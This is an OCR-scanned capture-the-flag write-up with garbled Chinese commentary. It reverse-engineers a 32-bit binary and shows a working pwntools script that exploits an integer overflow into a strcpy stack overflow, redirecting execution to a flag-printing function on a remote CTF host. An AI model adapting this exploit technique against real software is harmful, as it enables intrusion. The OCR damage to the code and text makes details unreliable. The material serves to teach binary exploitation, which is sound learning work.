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root@mypwn: /ctf/work/python# checksec abd631bc00e445608f5f2af2cb@cl51a
[*] '/ctf/work/python/abd631bc@0ed445608f5f2af2cboOclsla’

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)
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Library function [l Regular function l Instruction

F] Functions window O & @
Function name

[7] _init_proc

[¥] sub_80484B0

[7] _setbuf

[7] _read

[7] _printf

[7] _fflush

[7] _strcpy

[7] _puts

[7] _system

(7] _exit

[7] _strlen

[7] __libc_start_main
[7] _memset

[7] __isoc99_scanf

[7] _gmon_start__

[7] _start

[F] _x86_get_pc_thunk_bx
[¥] deregister_tm_clones
[7] register_tm_clones
[7] _do_global_dtors_aux
[7] frame_dummy

[7] what_is_this

[¥] check_passwd

[7] login

7| main

[F] _libc_csu_init

[F] _libc_csu_fini

[F] _term_proc

[7] setbuf

[7] read

[7] printf

[7] fflush

[7] strepy
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FEF AR
1. main
2. login
3. check _passwd
4,

what_is_this

RIEMCES T :

Data Unexplored External symbol

x 1B IDA View-A )] Hex View-1 Q&
Ltext:OEOASTCA
.text:080487CA ; =============== S UBRO U T I N E

.text:080487CA

.text:080487CA ; Attributes: bp-based frame

.text:080487CA

.text:080487CA ; int _ cdecl main(int argc, const char **argv, const char **envp)
public main

.text:080487CA
.text:080487CA main
.text:080487CA
.text:080487CA var_C
.text:080487CA var_4
.text:080487CA argc
.text:080487CA argv
.text:080487CA envp
.text:080487CA
.text:080487CA ; _ unwind {
.text:080487CA
.text:080487CE
.text:080487D1
.text:080487D4
.text:080487D5
.text:080487D7
.text:080487D8
.text:080487DB
.text:080487E0
.text:080487E3
.text:080487E5
.text:080487E6
.text:080487EB
.text:080487EE
.text:080487F3
.text:080487F6
.text:080487F8
.text:080487F9
.text:080487FE
.text:08048801
.text:08048806
.text:08048809
.text:0804880B
.text:0804880C
.text:08048811
.text:08048814
.text:08048817
.text:0804881C
.text:08048821
.text:08048824
.text:08048827
.text:0804882C
.text:08048831
.text:08048834
.text:08048837
.text:0804883C
.text:08048841
.text:08048844
.text:08048847
.text:0804884C
.text:08048851
.text:08048854
.text:08048857
.text:0804885¢C
.text:08048861
.text:08048864
.text:08048867
.text:0804886C
.text:08048871
.text:08048874
.text:08048877
.text:0804887A
.text:0804887B
.text:08048880

proc near ; DATA XREF: start+l7To
= dword ptr -0Ch

= dword ptr -4

= dword ptr 8

= dword ptr 0Ch

= dword ptr 10h

lea ecx, [espt+4]

and esp, OFFFFFFFOh

push dword ptr [ecx-4]

push ebp

mov ebp, esp

push ecx

sub esp, l4h

mov eax, ds:stdin@@GLIBC_2_0

sub esp, 8

push 0 ; buf

push eax ; stream

call _setbuf

add esp, 10h

mov eax, ds:stdout@€GLIBC_2_0

sub esp, 8

push 0 ; buf

push eax ; stream

call _setbuf

add esp, 10h

mov eax, ds:stderr@@GLIBC_2_ 0

sub esp, 8

push 0 ; buf

push eax ; stream

call _setbuf

add esp, 10h

sub esp, 0Ch

push offset asc_B80489C2 ; "-————-—mmmmmm e "
call _puts

add esp, 10h

sub esp, 0Ch

push offset aWelcomeToCtf ; "~~ Welcome to CTF! ~="
call _puts

add esp, 10h

sub esp, 0Ch

push offset alLogin ; " 1.Login "
call _puts

add esp, 10h

sub esp, 0Ch

push offset a2Exit P 2.Exit "
call _puts

add esp, 10h

sub esp, 0Ch

push offset asc_B80489C2 ; "——————mmm "
call _puts

add esp, 10h

sub esp, 0Ch

push offset aYourChoice ; "Your choice:"

call _printf

add esp, 10h

sub esp, 8

lea eax, [ebptvar C]

push eax

push offset aD ; "wd"

call _ isoc99 scanf

000007CA 080487CA: main (Synchronized with Hex View-1)

int __cdecl main(int argc, const char **argv, const char **envp)

{
int v4; // [esp+Ch] [ebp-Ch]

setbuf(stdin, 9);
setbuf(stdout, ©0);
setbuf(stderr, 0);

puts("-------------c-oo--- N3
puts("~~ Welcome to CTF! ~~");
puts (" 1.Login ")

nitc(" 2 Fvit "y



printf("Your choice:");
__is0c99_scanf("%d", &v4);
if (v4==1)
{
login();
}
else
{
if (v4==2)
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");

}

return 0;

int login()

{
char buf; // [esp+06h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]

memset(&s, 0, Ox20u);

memset (&buf, @, 0x200u);
puts("Please input your username:");
read(9, &s, 0x19u);

printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(9, &buf, ©x199u);

return check_passwd(&buf);

char *__cdecl check_passwd(char *s)

{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned _ int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <=3u || v3 > 8u)
{
puts("Invalid Password");
result = (char *)fflush(stdout);
)
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
)

return result;

int what_is_this()
{

return system("cat flag");



B — e B LR A EEN R LR, BE-NXHFERNE, SHESREZER.
ERE Flwhat_is_this st 2 RATTEK B in, IS BT EERKFMEN:

v3 = strlen(s);
if (v3 <=3u || v3 > 8u)
{

puts("Invalid Password");
result = (char *)fflush(stdout);

}

else

{

puts("Success");
fflush(stdout);
result = strcpy(&dest, s);

}

B ESHIKEEAEI-8Z I, HATE 6 R %R

result = strcpy(&dest, s);

MRBEAXBRIREN, ZOES0x14+4+4 , FHWF E XHIEHE BdestiE B LK 14h

char dest; // [esp+4h] [ebp-14h]

X B & BB K b 1R

unsigned _ int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);

ER VIR E L RINS, XRRVvIERKERZ255, WRAVIRE256/E, HAvIHEETFO0.
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system_addr = 0x08048694
payload = 'A'*0x14 + 'A'*4 + p32(system_addr) + 'A'*(256+3-0x14-4-4)

X B system addrithht 2 B Mwhat_is_thise& Z - 3REUH B A5 R 33T HbbE . AT Eik B K EN256+3, AT
DAZE B4 B F R E A (256+3-0x14-4-4)
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root@mypwn: /ctf/work/python# ./abd631bc00e445608f5f2af2cbOcl51a
~~ Welcome to CTF! ~~
1.Login
2.Exit
Your choice:1
Please input your username:
aa
Hello aa

Please input your passwd:

aaa
Success

F| H payload4s 5 pythonii A< 4n F .

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./abd631bc00e445608f5f2af2cbocl51a’)
# p = remote("111.198.29.45", 52600)

system_addr = 0x08048694
payload = 'A'*0x14 + 'A'*4 + p32(system_addr) + 'A'*(256+3-0x14-4-4)

p.sendlineafter('Your choice:', '1")
p.sendlineafter('username:', 'aa')
p.sendlineafter('passwd:', payload)
p.interactive()

PATERA:

root@mypwn: /ctf/work/python# python int_overflow.py
[+] Starting local process './abd631bc@0e445608f5f2af2cb@cl51a’': pid 158
[*] Switching to interactive mode

Success
cat: flag: No such file or directory
[*] Got EOF while reading in interactive

$

e BB HE, BHBSpythoni A& RS, SRWTF:



root@mypwn:/ctf/work/python# python int_overflow.py
[+] Opening connection to 111.198.29.45 on port 52600: Done
[*] Switching to interactive mode

Success
cyberpeace{5245c2a80ab7a2313990edb9bed8dbf2}

[*] Got EOF while reading in interactive

$
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